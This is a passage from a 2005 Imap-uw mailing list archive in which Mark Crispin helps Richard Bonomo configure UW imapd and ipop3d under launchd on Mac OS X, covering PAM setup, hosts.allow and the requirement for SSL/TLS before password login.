xinetd, or launchd. Since the daemons do not listen, they don't do any hosts.allow processing either. That is done entirely by TCP wrappers, inetd, xinetd, or launchd depending upon how your system is setup. In your case, the answer is probably "launchd". I can't vouch for any third-party distributions. Have you tried obtaining the software directly from the UW FTP server on: ftp://ftp.cac.washington.edu/mail/imap.tar.Z and then building using the command: make oxp For what it's worth, I have a Mac Mini at home and run the servers using xinetd instead of launchd. I didn't want to be bothered to learn how to use launchd; it's enough effort to keep track of inetd and xinetd. However, someone once sent me a launchd script that he claimed works for imapd. I haven't looked to see how it differs from yours. Disabled Label imap4 ProgramArguments /usr/local/libexec/imaps inetdCompatibility Wait Sockets Listeners SockServiceName imaps Bonjour -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sat Oct 29 14:53:53 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 29 Oct 2005 14:53:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9TLrrW8005289 for ; Sat, 29 Oct 2005 14:53:53 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id j9TLrq7V009157 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 29 Oct 2005 14:53:53 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9TLrqSg028602; Sat, 29 Oct 2005 14:53:52 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9TLrqsm031495; Sat, 29 Oct 2005 14:53:52 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9TLrp2i031487 for ; Sat, 29 Oct 2005 14:53:51 -0700 Received: from maddog.sal.wisc.edu (www.sal.wisc.edu [144.92.179.20]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9TLrn2t017899 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 29 Oct 2005 14:53:50 -0700 Received: from maddog.sal.wisc.edu (localhost.sal.wisc.edu [127.0.0.1]) by maddog.sal.wisc.edu (8.13.4/8.13.4) with ESMTP id j9TLrkId030079; Sat, 29 Oct 2005 16:53:46 -0500 Received: from localhost (bonomo@localhost) by maddog.sal.wisc.edu (8.13.4/8.13.4/Submit) with ESMTP id j9TLrjrn030076; Sat, 29 Oct 2005 16:53:46 -0500 Date: Sat, 29 Oct 2005 16:53:45 -0500 (CDT) From: Richard Bonomo To: Mark Crispin Subject: Re: [Imap-uw] Launchcd script for imap/pop? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Dear Mark, Replies interleaved with your message, below: On Fri, 28 Oct 2005, Mark Crispin wrote: > The first thing is that the ipop[23]d and imapd daemons do *NOT* listen on > the ports; they just do stdio. The listener is either inetd, xinetd, or > launchd. Now that is something I did not know. That explains why they would not "listen" on the ports even when I started them manually. Question: do pop2 and pop3 both have to be started, or is one or the other optional to have POP working? > > Since the daemons do not listen, they don't do any hosts.allow processing > either. That is done entirely by TCP wrappers, inetd, xinetd, or launchd > depending upon how your system is setup. > OK, but the service labels used in hosts.allow would be (if any) things like imap, pop, etc., not xinetd and launchd, no? > In your case, the answer is probably "launchd". > Correct, though I might be able to use xinetd if need be. > I can't vouch for any third-party distributions. Have you tried obtaining > the software directly from the UW FTP server on: > ftp://ftp.cac.washington.edu/mail/imap.tar.Z > and then building using the command: > make oxp > Actually, I thought that it was the very same thing. > For what it's worth, I have a Mac Mini at home and run the servers using > xinetd instead of launchd. I didn't want to be bothered to learn how to > use launchd; it's enough effort to keep track of inetd and xinetd. > It does appear to be some Byzantine in structure and usage. > However, someone once sent me a launchd script that he claimed works for > imapd. I haven't looked to see how it differs from yours. > > > > Disabled > > Label > imap4 > ProgramArguments > > /usr/local/libexec/imaps > > inetdCompatibility > > Wait > > > Sockets > > Listeners > > SockServiceName > imaps > Bonjour > > > > > > This did the trick, as far as startup goes! I find that imap refuses to accept my login, and pop3 does not appear to be doing anything. Do both of these rely on pam.d? Rich > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > -- ************************************************ Richard Bonomo UW Space Astronomy Laboratory ph: (608) 263-4683 telefacsimile: (608) 263-0361 SAL-related email: bonomo@sal.wisc.edu all other email: bonomo@ece.wisc.edu web page URL: http://www.cae.wisc.edu/~bonomo ************************************************ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sat Oct 29 17:05:39 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 29 Oct 2005 17:05:39 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9U05dYO009622 for ; Sat, 29 Oct 2005 17:05:39 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id j9U05cut014486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 29 Oct 2005 17:05:38 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9U05c3c001113; Sat, 29 Oct 2005 17:05:38 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9U05cT9006048; Sat, 29 Oct 2005 17:05:38 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9U05aQQ006032 for ; Sat, 29 Oct 2005 17:05:36 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9U05a56004363 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 29 Oct 2005 17:05:36 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9U05Z18009405 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 29 Oct 2005 17:05:35 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id j9U05WJj019293 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sat, 29 Oct 2005 17:05:34 -0700 Date: Sat, 29 Oct 2005 17:05:32 -0700 (PDT) From: Mark Crispin To: Richard Bonomo Subject: Re: [Imap-uw] Launchcd script for imap/pop? In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sat, 29 Oct 2005, Richard Bonomo wrote: > Question: do pop2 and pop3 both have to be started, or is one > or the other optional to have POP working? For most sites, only ipop3d is needed since POP2 clients are an endangered species (albeit not utterly extinct). > OK, but the service labels used in hosts.allow would be (if > any) things like imap, pop, etc., not xinetd and launchd, no? I would imagine so. You would need to read the man page for whatever it is that does hosts.allow processing. I'm don't know what does hosts.allow processing on Mac OS X, if anything does. >> I can't vouch for any third-party distributions. Have you tried obtaining >> the software directly from the UW FTP server on: >> ftp://ftp.cac.washington.edu/mail/imap.tar.Z >> and then building using the command: >> make oxp > Actually, I thought that it was the very same thing. As I said, I can't vouch for any third-party distributions. When in doubt, get the official version. > I find that imap refuses to accept my login, and pop3 does > not appear to be doing anything. Do both of these rely on > pam.d? Yes, they both use PAM, so you'll have to set up something in /etc/pam.d. I just copied /etc/pam.d/ftpd to /etc/pam.d/imap and /etc/pam.d/pop (note that the file name is "pop", not "pop3"). Also, by default, the servers do not permit password authentication unless either SSL or TLS encryption is in effect; this follows the requirements of RFC 3501. So you probably need to set up SSL server certificates. Read the document in the BUILD and SSLBUILD files for more information. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Nov 2 13:53:54 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Nov 2005 13:53:54 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2LrsKh020212 for ; Wed, 2 Nov 2005 13:53:54 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2Lrp5d007991 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Nov 2005 13:53:51 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2LrpJe002884; Wed, 2 Nov 2005 13:53:51 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2LrpOs003671; Wed, 2 Nov 2005 13:53:51 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2LrodE003663 for ; Wed, 2 Nov 2005 13:53:50 -0800 Received: from maddog.sal.wisc.edu (mail.sal.wisc.edu [144.92.179.20]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2Lrnh2029335 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 2 Nov 2005 13:53:50 -0800 Received: from maddog.sal.wisc.edu (localhost.sal.wisc.edu [127.0.0.1]) by maddog.sal.wisc.edu (8.13.4/8.13.4) with ESMTP id jA2LrlxS002444; Wed, 2 Nov 2005 15:53:47 -0600 Received: from localhost (bonomo@localhost) by maddog.sal.wisc.edu (8.13.4/8.13.4/Submit) with ESMTP id jA2Lrl1c002441; Wed, 2 Nov 2005 15:53:47 -0600 Date: Wed, 2 Nov 2005 15:53:47 -0600 (CST) From: Richard Bonomo To: Mark Crispin Subject: Re: [Imap-uw] Launchcd script for imap/pop? In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: ClamAV version 0.87, clamav-milter version 0.87 on localhost X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Dear Mark, Still trying! I produced and installed a certificat, and, after googling, even added a /etc/c-client file with a set disable-plaintext 0 line, but imap is refusing to accept my login, and pop3 is not even recognizing the "login" command. I am going to remove and re-install from orginal sources as you had suggested earlier, and I'll let you know what happens. Rich On Sat, 29 Oct 2005, Mark Crispin wrote: > On Sat, 29 Oct 2005, Richard Bonomo wrote: >> Question: do pop2 and pop3 both have to be started, or is one >> or the other optional to have POP working? > > For most sites, only ipop3d is needed since POP2 clients are an endangered > species (albeit not utterly extinct). > >> OK, but the service labels used in hosts.allow would be (if >> any) things like imap, pop, etc., not xinetd and launchd, no? > > I would imagine so. You would need to read the man page for whatever it is > that does hosts.allow processing. I'm don't know what does hosts.allow > processing on Mac OS X, if anything does. > >>> I can't vouch for any third-party distributions. Have you tried obtaining >>> the software directly from the UW FTP server on: >>> ftp://ftp.cac.washington.edu/mail/imap.tar.Z >>> and then building using the command: >>> make oxp >> Actually, I thought that it was the very same thing. > > As I said, I can't vouch for any third-party distributions. When in doubt, > get the official version. > >> I find that imap refuses to accept my login, and pop3 does >> not appear to be doing anything. Do both of these rely on >> pam.d? > > Yes, they both use PAM, so you'll have to set up something in /etc/pam.d. I > just copied /etc/pam.d/ftpd to /etc/pam.d/imap and /etc/pam.d/pop (note that > the file name is "pop", not "pop3"). > > Also, by default, the servers do not permit password authentication unless > either SSL or TLS encryption is in effect; this follows the requirements of > RFC 3501. So you probably need to set up SSL server certificates. Read the > document in the BUILD and SSLBUILD files for more information. > > -- Mark -- > > http://panda.com/mrc > Democracy is two wolves and a sheep deciding what to eat for lunch. > Liberty is a well-armed sheep contesting the vote. > -- ************************************************ Richard Bonomo UW Space Astronomy Laboratory ph: (608) 263-4683 telefacsimile: (608) 263-0361 SAL-related email: bonomo@sal.wisc.edu all other email: bonomo@ece.wisc.edu web page URL: http://www.cae.wisc.edu/~bonomo ************************************************ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Nov 2 14:20:21 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Nov 2005 14:20:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MKLqc022159 for ; Wed, 2 Nov 2005 14:20:21 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MKKZk010029 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Nov 2005 14:20:20 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MKKll005255; Wed, 2 Nov 2005 14:20:20 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MKKXs008589; Wed, 2 Nov 2005 14:20:20 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MKIrk008581 for ; Wed, 2 Nov 2005 14:20:18 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MKI4u024754 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 2 Nov 2005 14:20:18 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MKIMa022030 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 2 Nov 2005 14:20:18 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MKGI3024955 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 2 Nov 2005 14:20:18 -0800 Date: Wed, 2 Nov 2005 14:20:17 -0800 (Pacific Standard Time) From: Mark Crispin To: Richard Bonomo Subject: Re: [Imap-uw] Launchcd script for imap/pop? In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu If you still have problems and are willing to let me log in to your system, I can look around and see what the problem is. 9 times out of 10 it's something simple. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Nov 2 14:22:23 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Nov 2005 14:22:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MMNgU022294 for ; Wed, 2 Nov 2005 14:22:23 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MMM9u021275 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Nov 2005 14:22:22 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MMMt2005409; Wed, 2 Nov 2005 14:22:22 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MMMo8008866; Wed, 2 Nov 2005 14:22:22 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MMLqF008857 for ; Wed, 2 Nov 2005 14:22:21 -0800 Received: from maddog.sal.wisc.edu (mail.sal.wisc.edu [144.92.179.20]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MMKCP028679 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 2 Nov 2005 14:22:20 -0800 Received: from maddog.sal.wisc.edu (localhost.sal.wisc.edu [127.0.0.1]) by maddog.sal.wisc.edu (8.13.4/8.13.4) with ESMTP id jA2MMIRX002930; Wed, 2 Nov 2005 16:22:18 -0600 Received: from localhost (bonomo@localhost) by maddog.sal.wisc.edu (8.13.4/8.13.4/Submit) with ESMTP id jA2MMIV8002927; Wed, 2 Nov 2005 16:22:18 -0600 Date: Wed, 2 Nov 2005 16:22:18 -0600 (CST) From: Richard Bonomo To: Mark Crispin Subject: Re: [Imap-uw] Launchcd script for imap/pop? In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: ClamAV version 0.87, clamav-milter version 0.87 on localhost X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thanks! I'll let you know... Rich On Wed, 2 Nov 2005, Mark Crispin wrote: > If you still have problems and are willing to let me log in to your system, I > can look around and see what the problem is. 9 times out of 10 it's > something simple. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > -- ************************************************ Richard Bonomo UW Space Astronomy Laboratory ph: (608) 263-4683 telefacsimile: (608) 263-0361 SAL-related email: bonomo@sal.wisc.edu all other email: bonomo@ece.wisc.edu web page URL: http://www.cae.wisc.edu/~bonomo ************************************************ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Nov 2 14:49:33 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Nov 2005 14:49:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MnXxi023774 for ; Wed, 2 Nov 2005 14:49:33 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MnWha012172 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Nov 2005 14:49:32 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MnWPo008160; Wed, 2 Nov 2005 14:49:32 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MnWFg013714; Wed, 2 Nov 2005 14:49:32 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MnVBK013706 for ; Wed, 2 Nov 2005 14:49:31 -0800 Received: from maddog.sal.wisc.edu (www.sal.wisc.edu [144.92.179.20]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MnUbE009623 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 2 Nov 2005 14:49:30 -0800 Received: from maddog.sal.wisc.edu (localhost.sal.wisc.edu [127.0.0.1]) by maddog.sal.wisc.edu (8.13.4/8.13.4) with ESMTP id jA2MnSOi003629; Wed, 2 Nov 2005 16:49:28 -0600 Received: from localhost (bonomo@localhost) by maddog.sal.wisc.edu (8.13.4/8.13.4/Submit) with ESMTP id jA2MnSbu003626; Wed, 2 Nov 2005 16:49:28 -0600 Date: Wed, 2 Nov 2005 16:49:28 -0600 (CST) From: Richard Bonomo To: Mark Crispin Subject: Re: [Imap-uw] Launchcd script for imap/pop? In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: ClamAV version 0.87, clamav-milter version 0.87 on localhost X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Dear Mark, Logins are still failing. Unless I have a bright idea overnight, I will probably take you up on your offer tomorrow. Rich On Wed, 2 Nov 2005, Mark Crispin wrote: > If you still have problems and are willing to let me log in to your system, I > can look around and see what the problem is. 9 times out of 10 it's > something simple. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > -- ************************************************ Richard Bonomo UW Space Astronomy Laboratory ph: (608) 263-4683 telefacsimile: (608) 263-0361 SAL-related email: bonomo@sal.wisc.edu all other email: bonomo@ece.wisc.edu web page URL: http://www.cae.wisc.edu/~bonomo ************************************************ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Nov 2 14:55:29 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Nov 2005 14:55:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MtS2U024174 for ; Wed, 2 Nov 2005 14:55:29 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MtSQg012603 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Nov 2005 14:55:28 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MtRnE009338; Wed, 2 Nov 2005 14:55:27 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MtRhL015452; Wed, 2 Nov 2005 14:55:27 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MtPKh015432 for ; Wed, 2 Nov 2005 14:55:25 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MtPoK026737 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 2 Nov 2005 14:55:25 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MtO1d004367 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 2 Nov 2005 14:55:24 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA2MtOB1016712 